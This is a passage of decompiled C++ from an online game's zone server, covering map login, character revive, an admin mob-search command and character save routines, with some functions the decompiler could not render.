fprintf(v18, "%d"); } else { v19 = newclass; } v20 = DebugLogging::operator<<(v17, (char *)&unk_63D200); DebugLogging::operator<<(v20, &deb_LF); v21 = *((_DWORD *)v2 + 8040); if ( v21 ) { *(_BYTE *)(v21 + 28) = v19; v22 = *(_BYTE *)(*((_DWORD *)v2 + 8040) + 27); if ( v22 ) { if ( v22 <= 2u || v22 == 6 ) *(_BYTE *)(*((_DWORD *)v2 + 8040) + 29) ^= (*(_BYTE *)(*((_DWORD *)v2 + 8040) + 29) ^ 4 * v19) & 0x7C; } } if ( *((_BYTE *)v2 + 139547) ) *((_BYTE *)v2 + 139500) ^= (*((_BYTE *)v2 + 139500) ^ 4 * v19) & 0x7C; v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4184; *((_WORD *)v23 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v23 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v23 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 832))(v2); v23[10] = (*(int (**)(void))(**((_DWORD **)v2 + 964) + 48))(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 11) ) { v24 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v24); } else { AssertClass::ac_AssertFail(&shineassert, unk_63D298, 11); } if ( v19 ) { *(_WORD *)nc = 4186; *((_WORD *)nc + 1) = *((_WORD *)v2 + 2); nc[4] = v19; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v25 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v29) = 1; v26 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v26, v25, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v29) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_63D31C); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004465C0) -------------------------------------------------------- #error "4465C0: undefined or illegal type '#734' (funcsize=79)" //----- (00446700) -------------------------------------------------------- void __thiscall ItemSmallBag::isb_Clear(ItemSmallBag *this) { ItemSmallBag *v1; // esi@1 int v2; // edi@1 int v3; // ebx@2 v1 = this; v2 = 0; if ( ((int (*)(void))this->vfptr->isb_BagSizeOutput)() > 0 ) { do { v3 = (int)v1->vfptr->isb_GetInventoryCell(v1, v2); ItemInform_ActionItem::sii_Clear((ItemInform_ActionItem *)v3); *(_DWORD *)(v3 + 16) = &itmattcontainer; ++v2; } while ( v2 < v1->vfptr->isb_BagSizeOutput(v1) ); } } //----- (00446740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 unsigned int v5; // eax@1 Name4 *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 SHN_DATA_FILE_INDEX v9; // ebx@1 Name8 *v10; // eax@4 char *v11; // eax@6 int v12; // eax@8 unsigned int v13; // eax@14 char *v14; // eax@14 char *v15; // eax@14 ZoneBaseSession *v16; // eax@16 int v17; // edi@17 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_63D3E0); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_63D3E0; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 816))(v4, 0); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (Name4 *)(netcmd + 4); v7 = (char *)&namestring + 256 * v5; *(_DWORD *)v7 = *(_DWORD *)(netcmd + 4); *((_DWORD *)v7 + 1) = *(_DWORD *)(netcmd + 8); *((_DWORD *)v7 + 2) = *(_DWORD *)(netcmd + 12); *((_DWORD *)v7 + 3) = *(_DWORD *)(netcmd + 16); v7[16] = 0; v8 = CShnDataFileCheckSum::DataFileCheck(&ShnDataFile, (Name8 *)(netcmd + 20)); v9 = v8; if ( v8 < 0 || v8 >= 30 ) { if ( !(_S7_46 & 1) ) { _S7_46 |= 1u; cmc_22.cmc_AllowMode = 1; atexit(_E8_35); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_22.cmc_AllowMode ) { v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)&v6->n4_name[0]; *((_DWORD *)v14 + 1) = *(_DWORD *)(netcmd + 8); *((_DWORD *)v14 + 2) = *(_DWORD *)(netcmd + 12); *((_DWORD *)v14 + 3) = *(_DWORD *)(netcmd + 16); v14[16] = 0; v15 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = handle; *((_DWORD *)v15 + 1) = -1; *(_WORD *)v15 = 4171; *((_WORD *)v15 + 4) = *(_WORD *)(netcmd + 2); *(_DWORD *)(v15 + 10) = *(_DWORD *)&v6->n4_name[0]; *(_DWORD *)(v15 + 14) = *(_DWORD *)(netcmd + 8); *(_DWORD *)(v15 + 18) = *(_DWORD *)(netcmd + 12); *(_DWORD *)(v15 + 22) = *(_DWORD *)(netcmd + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail(&shineassert, unk_63D398, 26); } v17 = (int)((char *)v4 + 32312); ItemBag::ib_clear((ItemBag *)v17); ItemBag::ib_clear((ItemBag *)(v17 + 3368)); ItemBag::ib_clear((ItemBag *)(v17 + 20076)); ItemBag::ib_clear((ItemBag *)(v17 + 20660)); ItemSmallBag::isb_Clear((ItemSmallBag *)(v17 + 24724)); } } else { if ( CShnDataFileCheckSum::GetDataFileCheckSum(&ShnDataFile, (SHN_DATA_FILE_INDEX)v8) ) { NameString::operator__(&namestring, v6); CShnDataFileCheckSum::GetDataFileName(&ShnDataFile, v9); NameString::operator__(&namestring, (Name8 *)(32 * v9 + netcmd + 20)); v10 = CShnDataFileCheckSum::GetDataFileCheckSum(&ShnDataFile, v9); NameString::operator__(&namestring, v10); } else { NameString::operator__(&namestring, v6); CShnDataFileCheckSum::GetDataFileName(&ShnDataFile, v9); NameString::operator__(&namestring, (Name8 *)(32 * v9 + netcmd + 20)); } v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6148; *((_WORD *)v11 + 1) = 327; v11[4] = v9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, unk_63D398, 5); } (*(void (__thiscall **)(void *, signed int, signed int, _DWORD))(*(_DWORD *)v4 + 1520))(v4, 1678, 1, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_63D3E0); } //----- (00446A40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_63D414); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_63D414; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ReviveReqProcess(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_63D414); } // 445B40: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ReviveReqProcess(_DWORD); //----- (00446AE0) -------------------------------------------------------- #error "446AE0: undefined or illegal type '#593' (funcsize=15)" //----- (00446B20) -------------------------------------------------------- void __thiscall AxialListMobFind::_AxialListMobFind(AxialListMobFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobFind::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } //----- (00446B30) -------------------------------------------------------- char __thiscall DropLocationManager::dlm_Getloc(DropLocationManager *this, SHINE_XY_TYPE *center, SHINE_XY_TYPE *loc, int scale) { char result; // al@2 if ( this->dlm_index.cluster < 0x20u ) { loc->x = center->x; loc->y = center->y; result = DropLoc::SameDistanceCluster::sdc_Getdelta( (DropLoc::SameDistanceCluster *)this + this->dlm_index.cluster, this->dlm_index.subscript, loc, scale); } else { AssertClass::ac_AssertFail(&shineassert, unk_63D450, 32); result = 0; } return result; } //----- (00446BD0) -------------------------------------------------------- #error "446BD0: undefined or illegal type '#593' (funcsize=50)" //----- (00446C50) -------------------------------------------------------- #error "446C50: undefined or illegal type '#593' (funcsize=65)" //----- (00446D50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BriefLink(void *this, int mapname, int coord) { void *v3; // ebp@1 unsigned int v4; // eax@4 char *v5; // eax@4 unsigned int v6; // eax@4 char *v7; // eax@4 FieldOption::FieldAttr *v8; // esi@4 unsigned int v9; // eax@5 char *v10; // eax@5 unsigned int v11; // eax@5 unsigned int v12; // eax@9 char *v13; // eax@9 int v14; // edx@9 int v15; // edi@9 char *v16; // esi@9 signed int v17; // ecx@9 bool v18; // zf@9 FunctionEntarance _; // [sp+10h] [bp-7Ch]@1 char lnkinf; // [sp+14h] [bp-78h]@14 char v21; // [sp+28h] [bp-64h]@4 char v22; // [sp+34h] [bp-58h]@4 char v23; // [sp+49h] [bp-43h]@9 int v24; // [sp+6Ah] [bp-22h]@9 int v25; // [sp+6Eh] [bp-1Eh]@9 unsigned int v26; // [sp+7Ch] [bp-10h]@1 int v27; // [sp+88h] [bp-4h]@1 v3 = this; v26 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = unk_63D4DC; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_63D4DC); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_63D4DC; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; if ( mapname && coord ) { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)mapname; *((_DWORD *)v5 + 1) = *(_DWORD *)(mapname + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(mapname + 8); v5[12] = 0; strncpy(&v21, v5, 0xCu); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)mapname; *((_DWORD *)v7 + 1) = *(_DWORD *)(mapname + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(mapname + 8); v22 = 0; v7[12] = 0; v8 = FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, v7); if ( v8 ) { v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)&v8->mapidclient.n3_name[0]; *((_DWORD *)v10 + 1) = *(_DWORD *)&v8->mapidclient.n3_name[4]; *((_DWORD *)v10 + 2) = *(_DWORD *)&v8->mapidclient.n3_name[8]; v10[12] = 0; v11 = BTree::operator__(&mapdatabox.mdb_btree, v10); if ( v11 == -1 ) LOWORD(v11) = -1; v11 = (unsigned __int16)v11; if ( (unsigned __int16)v11 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v11] ) { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)&v8->mapidclient.n3_name[0]; *((_DWORD *)v13 + 1) = *(_DWORD *)&v8->mapidclient.n3_name[4]; *((_DWORD *)v13 + 2) = *(_DWORD *)&v8->mapidclient.n3_name[8]; v13[12] = 0; strncpy(&v23, v13, 0x20u); v14 = *(_DWORD *)(coord + 4); v24 = *(_DWORD *)coord; v15 = (int)"EldPri"; v16 = &v23; v17 = 7; v18 = 1; v25 = v14; do { if ( !v17 ) break; v18 = *v16++ == *(_BYTE *)v15++; --v17; } while ( v18 ); if ( v18 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 3276))( v3, **(_DWORD **)((char *)v3 + 98), *(_DWORD *)(*(_DWORD *)((char *)v3 + 98) + 4), *(_DWORD *)(*(_DWORD *)((char *)v3 + 98) + 8)); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v3 + 3280))( v3, **(_DWORD **)((char *)v3 + 78), *(_DWORD *)(*(_DWORD *)((char *)v3 + 78) + 4)); } (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v3 + 1528))( v3, &lnkinf, 6, 9, 10); } } } else { AssertClass::ac_AssertFail(&shineassert, unk_63D4A4, 0); } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_63D4DC); __security_check_cookie((unsigned int)&_ ^ v26); } //----- (00446FC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Admin_FindMob(void *this, const char *mobindex) { void *v2; // esi@1 unsigned int v3; // eax@1 __int16 v4; // bp@1 int almf; // [sp+10h] [bp-A8h]@1 __int16 v6; // [sp+14h] [bp-A4h]@4 __int16 v7; // [sp+16h] [bp-A2h]@4 int v8; // [sp+18h] [bp-A0h]@4 int v9; // [sp+1Ch] [bp-9Ch]@4 int v10; // [sp+20h] [bp-98h]@4 FunctionEntarance _; // [sp+24h] [bp-94h]@1 char buf[128]; // [sp+28h] [bp-90h]@3 unsigned int v13; // [sp+A8h] [bp-10h]@1 int v14; // [sp+B4h] [bp-4h]@1 v2 = this; v13 = (unsigned int)&almf ^ __security_cookie; _.fe_FunctionCode = unk_63D538; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_63D538); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_63D538; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; v3 = BTree::operator__(&mobdatabox.mdb_btree, mobindex); v4 = v3; if ( v3 != -1 && (_WORD)v3 != -1 ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almf); almf = (int)&AxialListMobFind::_vftable_; v6 = v4; v7 = -1; v9 = 0; v8 = 0; v10 = 5; LOBYTE(v14) = 1; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)&almf, 0); if ( v9 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 2192))( v2, *(_DWORD *)(v9 + 98), *(_DWORD *)(v9 + 78)); } else { sprintf(buf, unk_63D50C); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 1924))(v2, buf); } almf = (int)&AxialListMobFind::_vftable_; LOBYTE(v14) = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almf); } else { sprintf(buf, unk_63D524); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 1924))(v2, buf); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_63D538); __security_check_cookie((unsigned int)&almf ^ v13); } //----- (00447160) -------------------------------------------------------- #error "447160: undefined or illegal type '#593' (funcsize=261)" //----- (004474D0) -------------------------------------------------------- int __thiscall FieldMap::fm_RegenCity(int this) { return *(_DWORD *)(this + 12) + 103; } //----- (004474E0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveMisc2WMS(int buffer) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveMisc2WMS", 0); return 0; } //----- (00447500) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveCharTitle(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveCharTitle", 0); return 0; } //----- (00447520) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveToDB_CharTitle(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveToDB_CharTitle", 0); return 0; } //----- (00447540) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_ply_SavePKCount(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_ply_SavePKCount", 0); return 0; } //----- (00447560) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveLocation(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveLocation", 0); return 0; } //----- (00447580) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveChestInfo(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveChestInfo", 0); return 0; } //----- (004475A0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveLevel(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveLevel", 0); return 0; } //----- (004475C0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveStat(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveStat", 0); return 0; } //----- (004475E0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveGameData(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveGameData", 0); return 0; } //----- (00447600) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_QUEST_DOING_REQ((CQuestZone *)(this + 66176), buffer); } //----- (00447610) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD((CQuestZone *)(this + 66176), buffer); } //----- (00447620) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDone(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD((CQuestZone *)(this + 66176), buffer); } //----- (00447630) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestRead(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_READ_CMD *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_READ_CMD((CQuestZone *)(this + 66176), buffer); } //----- (00447640) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestRepeat(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_REPEAT_CMD *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_REPEAT_CMD((CQuestZone *)(this + 66176), buffer); } //----- (00447650) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveAbstate(int buffer, int charid) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveAbstate", 0); return 0; } //----- (00447670) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_SaveItem_Part(int nc, int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveItem_Part", 0); return 0; } //----- (00447690) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveItem(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveItem", 0); return 0; } //----- (004476B0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveSkill(int buffer, int SkillSaveCheck) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveSkill", 0); return 0; } //----- (004476D0) -------------------------------------------------------- #error "4476D0: undefined or illegal type '#734' (funcsize=87)" //----- (00447830) -------------------------------------------------------- int __thiscall PROTO_NC_CHARSAVE_ALL_REQ::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_BYTE *)(this + 22) = *(_BYTE *)(a2 + 22); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); *(_DWORD *)(this + 43) = *(_DWORD *)(a2 + 43); *(_DWORD *)(this + 47) = *(_DWORD *)(a2 + 47); *(_DWORD *)(this + 51) = *(_DWORD *)(a2 + 51); *(_DWORD *)(this + 55) = *(_DWORD *)(a2 + 55); *(_DWORD *)(this + 59) = *(_DWORD *)(a2 + 59); *(_DWORD *)(this + 63) = *(_DWORD *)(a2 + 63); *(_DWORD *)(this + 67) = *(_DWORD *)(a2 + 67); memcpy((void *)(this + 71), (const void *)(a2 + 71), 0x22u); return result; } //----- (004478D0) -------------------------------------------------------- void __thiscall WholeSaver::ws_saveassure(WholeSaver *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_saveassure"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_saveassure"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_saveassure"); } //----- (00447910) -------------------------------------------------------- void __thiscall EventSaveCheck::erb_happen(EventSaveCheck *this) { EventSaveCheck *v1; // esi@1 int v2; // eax@1 _iobuf *v3; // edi@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventSaveCheck::erb_happen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventSaveCheck::erb_happen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->esc_savebuffer.handle.chrregnum; if ( v2 != -1 ) { AssertClass::ac_AssertFail(&shineassert, "EventSaveCheck::erb_happen : Error in Character save", v2); v3 = fopen("NotSaved.bin", "wb"); fwrite(&v1->esc_savebuffer, 0x69u, 1u, v3); fclose(v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventSaveCheck::erb_happen"); } //----- (004479F0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveMisc2WMS(void *this, int buffer) { void *v2; // esi@1 int v3; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)(buffer + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1072))(v2); *(_DWORD *)(buffer + 6) = v3; *(_DWORD *)(buffer + 10) = *(_DWORD *)((char *)v2 + 32217); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"); return 14; } //----- (00447AA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveCharTitle(void *this, int buf) { void *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 int v5; // edx@4 int v6; // ecx@4 signed int v7; // esi@4 int v8; // esi@7 int v9; // ebp@7 char v10; // cl@9 char v11; // al@9 int v13; // [sp+10h] [bp-14h]@6 int bufa; // [sp+28h] [bp+4h]@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveCharTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveCharTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1052))(v2); v4 = buf; *(_BYTE *)buf = 1; *(_BYTE *)(buf + 1) = *(_BYTE *)(v3 + 560); *(_WORD *)(buf + 3) = *(_WORD *)(v3 + 562); if ( *(_BYTE *)(v3 + 560) == 10 ) *(_BYTE *)(buf + 2) = 0; else *(_BYTE *)(buf + 2) = *(_BYTE *)(v3 + 561); v5 = buf + 5; v6 = v3 + 576; v7 = 61; do { *(_DWORD *)v5 = *(_DWORD *)v6; *(_DWORD *)(v5 + 4) = *(_DWORD *)(v6 + 4); v6 += 16; v5 += 8; --v7; } while ( v7 ); *(_WORD *)(buf + 493) = *(_WORD *)(v3 + 68); v13 = *(_DWORD *)(v3 + 68); bufa = 0; if ( *(_DWORD *)(v3 + 68) > 0 ) { v8 = v4 + 496; v9 = v3 + 72; do { if ( *(_BYTE *)v9 ) { v10 = *(_BYTE *)v8; *(_BYTE *)(v8 - 1) = *(_BYTE *)v9; v11 = (v10 ^ *(_BYTE *)(v9 + 1)) & 0x3F ^ v10; *(_BYTE *)v8 = v11; *(_BYTE *)v8 = ((unsigned __int8)CCharacterTitle::GetTitleStatus( (CCharacterTitle *)v3, *(_BYTE *)(v8 - 1), v11 & 0x3F) << 6) | *(_BYTE *)v8 & 0x3F; if ( (unsigned int)(425 - v3 + v9) > 0x1F40 ) break; } v9 += 2; v8 += 2; ++bufa; } while ( bufa < *(_DWORD *)(v3 + 68) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveCharTitle"); return 2 * v13 + 495; } //----- (00447C30) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveToDB_CharTitle(void *this, int buf) { void *v2; // edi@1 int v3; // esi@1 signed int result; // eax@2 CCharacterTitleZone *v5; // eax@3 signed int v6; // ebp@3 signed int v7; // ebx@3 int v8; // edi@3 int v9; // eax@6 int v10; // edx@6 CCharacterTitleZone *bufa; // [sp+24h] [bp+4h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveToDB_CharTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveToDB_CharTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = buf; if ( buf ) { v5 = (CCharacterTitleZone *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1052))(v2); bufa = v5; v6 = 2; *(_WORD *)v3 = 0; v7 = 0; v8 = (int)&v5->m_TitleValues[0].bTitleSave; while ( 1 ) { if ( CCharacterTitleZone::TitleValues_SaveCheck(v5, v7) ) { *(_BYTE *)(*(_WORD *)v3 + v3 + 8 * *(_WORD *)v3 + 2) = v7; v9 = *(_WORD *)v3; v10 = v3 + 8 * v9; *(_DWORD *)(v9 + v10 + 3) = *(_DWORD *)(v8 - 8); *(_DWORD *)(v9 + v10 + 7) = *(_DWORD *)(v8 - 4); ++*(_WORD *)v3; v6 += 9; *(_DWORD *)v8 = 0; if ( v6 > 8000 ) break; } ++v7; v8 += 16; if ( v7 >= 61 ) break; v5 = bufa; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveToDB_CharTitle"); result = v6; } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer:::so_SaveToDB_CharTitle : buf is NULL", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveToDB_CharTitle"); result = 0; } return result; } //----- (00447D80) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_ply_SavePKCount(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(buf + 4) = *(_DWORD *)((char 